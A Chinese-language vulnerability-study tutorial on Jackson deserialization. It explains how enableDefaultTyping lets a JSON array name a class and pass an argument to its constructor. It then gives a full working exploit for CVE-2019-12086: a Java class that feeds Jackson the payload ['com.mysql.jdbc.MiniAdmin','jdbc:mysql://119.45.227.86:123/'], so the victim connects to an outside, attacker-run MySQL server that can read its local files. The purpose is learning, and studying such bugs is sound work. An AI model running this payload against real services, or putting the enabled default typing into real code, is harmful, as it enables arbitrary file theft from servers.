jackson和fastjson差不多,都是用來更方便的處理json
國人用fastjson,老外用jackson/gson比較多
環境搭建:
pom.xml:
<dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.25</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.8</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>RELEASE</version> <scope>compile</scope> </dependency>
Student.java:
package com.test.JackSonTest; public class Student{ private String name; private Integer age; private Teacher teacher; public Student(){ System.out.println("student構造方法被呼叫"); }; public String getName() { return name; } public void setName(String name) { this.name = name; } public Integer getAge() { return age; } public void setAge(Integer age) { this.age = age; } public Teacher getTeacher() { return teacher; } public void setTeacher(Teacher teacher) { this.teacher = teacher; } @Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + ", teacher=" + teacher + '}'; } }
Teacher.java:
package com.test.JackSonTest; public class Teacher{ private String name; private int age; public Teacher(){ System.out.println("teacher構造方法被呼叫"); }; public Teacher(String name,int age){ this.name = name; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Teacher{" + "name='" + name + '\'' + ", age=" + age + '}'; } }
測試類:
@Test public void test1() throws IOException { //序列化 物件轉json字串資料 Student student = new Student(); student.setName("jack"); student.setAge(20); student.setTeacher(new Teacher("lua",33)); ObjectMapper objectMapper = new ObjectMapper(); objectMapper.setSerializationInclusion(JsonInclude.Include.NON_NULL); String result = objectMapper.writeValueAsString(student); System.out.println(result); //反序列化,json字串資料轉物件 String jsonResult = "{\"name\":\"jack\",\"age\":20,\"teacher\":{\"name\":\"lua\",\"age\":33}}"; Student stu = objectMapper.readValue(jsonResult, Student.class); System.out.println(stu); }
執行輸出:
student構造方法被呼叫 {"name":"jack","age":20,"teacher":{"name":"lua","age":33}} student構造方法被呼叫 teacher構造方法被呼叫 Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}
發現在反序列化(json轉物件)的時候,優先呼叫構造方法,如果反序列化的json資料中的類繼承了其他類,會自動呼叫其父類無參構造方法
Jackson列印物件型別:
@Test public void test2() throws IOException { //序列化 物件轉json字串 Student student = new Student(); student.setName("jack"); student.setAge(20); student.setTeacher(new Teacher("lua",33)); ObjectMapper objectMapper = new ObjectMapper(); //序列化JSON串時,在值上列印出物件型別 objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); String result = objectMapper.writeValueAsString(student); System.out.println(result); //反序列化 json字串轉物件 String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]"; Student stu = objectMapper.readValue(jsonResult, Student.class); System.out.println(stu); }
執行輸出:
student構造方法被呼叫 ["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}] student構造方法被呼叫 teacher構造方法被呼叫 Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}
這個很重要,jackson的很多漏洞跟他息息相關:
通過上面的程式碼可以發現當開啟enableDefaultTyping的時候,json字串中的類會被反序列化.
繼續編寫jackson測試:
test_poc.java:
package com.test.JackSonTest; public class test_poc { public test_poc(){}; public test_poc(String name){ System.out.println(name); } }
通過上面的程式碼,發現存在構造方法,一個無參,另一個有引數構造方法
jackson反序列化:
測試類:
@Test public void test3() throws IOException { ObjectMapper objectMapper = new ObjectMapper(); //序列化JSON串時,在值上列印出物件型別 objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); //自定義構造 String jsonResult = "[\"com.test.JackSonTest.test_poc\",\"test\"]"; objectMapper.readValue(jsonResult,test_poc.class); }
發現在[]中設定value,相當於是為構造方法新增新的引數
通過前面的前置知識鋪墊,jackson瞭解到的相關基礎:(1)如果想使用[]去完成反序列化攻擊,必須要開啟enableDefaultTyping,獲取到物件型別 (2)反序列化的時候自動呼叫物件構造方法及父類構造方法 (3)有參構造方法不需要設定值,不像setName/getName那樣,需要"name":"test",只要[類,值]即可完成填充
CVE-2019-12086是一個檔案讀取漏洞,直接檢視他的利用鏈:利用環境在文章第一行已建立:
漏洞檔案在:
repository/mysql/mysql-connector-java/5.1.25/mysql-connector-java-5.1.25.jar!/com/mysql/jdbc/MiniAdmin.class:
通過反射載入跟進去:
問題程式碼:
public MiniAdmin(String jdbcUrl) throws SQLException { this(jdbcUrl, new Properties()); } public MiniAdmin(String jdbcUrl, Properties props) throws SQLException { this.conn = (Connection)((Connection)(new Driver()).connect(jdbcUrl, props)); }
前面我們已經學習了足夠多的前置知識,這裡會連線jdbcUrl,如果jdbcUrl可控,會傳送連結,正好mysql8以下存在任意檔案讀取...下面直接構造exp:
attackerJdbc.java:
package com.test.JackSonTest; import com.fasterxml.jackson.databind.ObjectMapper; import com.mysql.jdbc.MiniAdmin; import java.io.IOException; import java.sql.SQLException; public class attackJdbc { public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException { ObjectMapper objectMapper =new ObjectMapper(); Class.forName("com.mysql.jdbc.MiniAdmin"); //一定要開啟enableDefaultTyping objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); //通過前面的知識點學習知道,如果這樣構造,就會自動給MiniAdmin類的有參構造方法傳入string型別資料,資料內容為:jdbc:mysql://119.45.227.86:123/ String json = "[\"com.mysql.jdbc.MiniAdmin\",\"jdbc:mysql://119.45.227.86:123/\"]"; objectMapper.readValue(json,Object.class); } }
不理解部分檢視註釋:
執行程式碼:
這個漏洞相對簡單,所以就不跟底層機制了.
如果後續要找相關利用鏈,也可以用這個方法操作下..
漏洞學習參考: